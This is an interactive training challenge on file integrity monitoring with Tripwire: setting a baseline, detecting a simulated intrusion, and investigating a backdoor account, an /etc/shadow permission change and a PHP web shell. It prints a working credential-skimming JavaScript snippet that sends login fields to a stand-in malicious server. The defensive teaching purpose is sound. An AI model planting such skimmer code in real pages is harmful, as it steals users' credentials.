This interactive challenge will teach you how to implement and use file integrity monitoring (FIM) systems like Tripwire to detect unauthorized changes to critical files. You'll learn to set up monitoring, detect modifications, and investigate security incidents.
File Integrity Monitoring (FIM) is a security process that validates the integrity of operating system and application files by comparing the current state of files to a known, good baseline. If a monitored file is changed, added, or deleted, the FIM system alerts security personnel to investigate the change.
FIM is crucial for detecting unauthorized modifications that might indicate a security breach, malware infection, or insider threat activity.
File Integrity Monitoring (FIM) systems like Tripwire are essential security tools that help protect critical systems by:
In this challenge, you are a security analyst responsible for protecting critical server infrastructure. You've been tasked with setting up file integrity monitoring to detect any unauthorized changes to system files.
During the challenge, you will:
Let's begin by setting up Tripwire, a powerful file integrity monitoring solution. Tripwire works by creating a baseline database of file checksums and then periodically comparing the current state of files against this baseline to detect changes.
First, we need to install Tripwire on our simulated Ubuntu server:
Tripwire uses two main configuration files:
Let's examine the default policy file to understand what Tripwire will monitor:
For this challenge, we'll create a simplified custom policy to monitor specific critical files and directories. Let's create a custom policy file focused on key system areas:
Initializes the Tripwire database by creating a baseline of the monitored files according to the policy
Checks the current state of monitored files against the baseline and generates a report of any changes
Updates the Tripwire policy with changes from the specified text policy file
Updates the Tripwire database with changes found in the specified report file (used to acknowledge legitimate changes)
Now that we've installed and configured Tripwire, we need to create a baseline of our system's files. This baseline will serve as the "known good state" against which future file states will be compared.
Let's create the initial baseline database using our custom policy:
Let's run a check immediately after creating the baseline to make sure everything is working correctly:
Perfect! There are no violations reported because we just created the baseline. This means Tripwire is successfully monitoring our files according to the policy we defined.
Let's examine what files are being monitored in more detail. We'll look at a key area defined in our policy - the web server files:
These are the web server files that Tripwire is monitoring. Any changes to these files will be detected during the integrity check.
Tripwire can monitor various file properties including:
By monitoring these properties, Tripwire can detect various types of unauthorized changes, including content modifications, permission changes, and ownership transfers.
In this phase of the challenge, we'll simulate an attacker making unauthorized changes to our system and use Tripwire to detect these modifications.
Your company's web server has been targeted by an attacker who has gained access to the system. They have made several changes to critical files in an attempt to establish persistence and potentially extract sensitive information.
As the security analyst, you need to run a Tripwire integrity check to identify what files have been modified.
For the purpose of this challenge, we'll simulate an attacker making several changes to our system:
The attacker has made the following changes:
Now let's run Tripwire to detect these unauthorized changes:
Tripwire has successfully detected all the unauthorized changes!
Let's generate a more detailed report to better understand the changes:
This file contains user account information. The attacker has added a new root-level account.
High severity. The attacker has created a new account with root privileges (UID 0), allowing complete administrative access to the system.
This file contains encrypted password hashes for user accounts. The attacker has changed its permissions.
High severity. By changing the permissions to world-readable and writable, any user on the system can read or modify password hashes. This could lead to password cracking or unauthorized password changes.
This is a new file added by the attacker that allows remote command execution on the server.
Critical severity. This PHP script creates a web shell that allows the attacker to execute arbitrary commands on the server with the permissions of the web server user.
The main website page has been modified to include malicious JavaScript code.
+ <script>
+ document.addEventListener('DOMContentLoaded', function() {
+ // Hidden code to steal login credentials
+ document.querySelector('form').addEventListener('submit', function(e) {
+ var username = document.getElementById('username').value;
+ var password = document.getElementById('password').value;
+ var img = new Image();
+ img.src = 'https://malicious-server.com/collect.php?u=' + encodeURIComponent(username) + '&p=' + encodeURIComponent(password);
+ });
+ });
+ </script>
High severity. The attacker has added JavaScript code that steals user credentials when they log in to the website and sends them to a malicious server.
Now that we've detected unauthorized changes to our system files, we need to investigate the incident to understand its scope and impact.
Let's summarize the unauthorized changes detected by Tripwire:
| File | Change Type | Details | Security Impact |
|---|---|---|---|
| /etc/passwd | Modified | Added root-level user account | Critical - Unauthorized root access |
| /etc/shadow | Permission Change | Changed from 640 to 777 | Critical - Password hash exposure |
| /var/www/html/backdoor.php | New File | Web shell for command execution | Critical - Remote code execution |
| /var/www/html/index.html | Modified | Added malicious JavaScript | High - Credential theft |
Based on the Tripwire report, all file modifications occurred on Friday, April 2, 2025, between 13:36 and 13:38. This suggests a coordinated attack rather than random system changes.
The attack sequence appears to be:
This appears to be a sophisticated attack with multiple components:
This combination suggests a targeted attack aimed at maintaining long-term access to the system and stealing sensitive information.
Based on our investigation, here's a remediation plan to address the compromise:
Based on this incident, here are some recommendations for effective file integrity monitoring:
Congratulations! You have successfully completed the File Integrity Monitoring Challenge. You've learned how to:
File integrity monitoring is a critical security control that can help organizations detect unauthorized changes to important files and respond quickly to potential security incidents.
This certificate is awarded to
For successfully completing the File Integrity Monitoring Challenge and demonstrating proficiency in detecting and investigating unauthorized system changes.
Aziz Alghamdi
Instructor
May 1, 2025
Date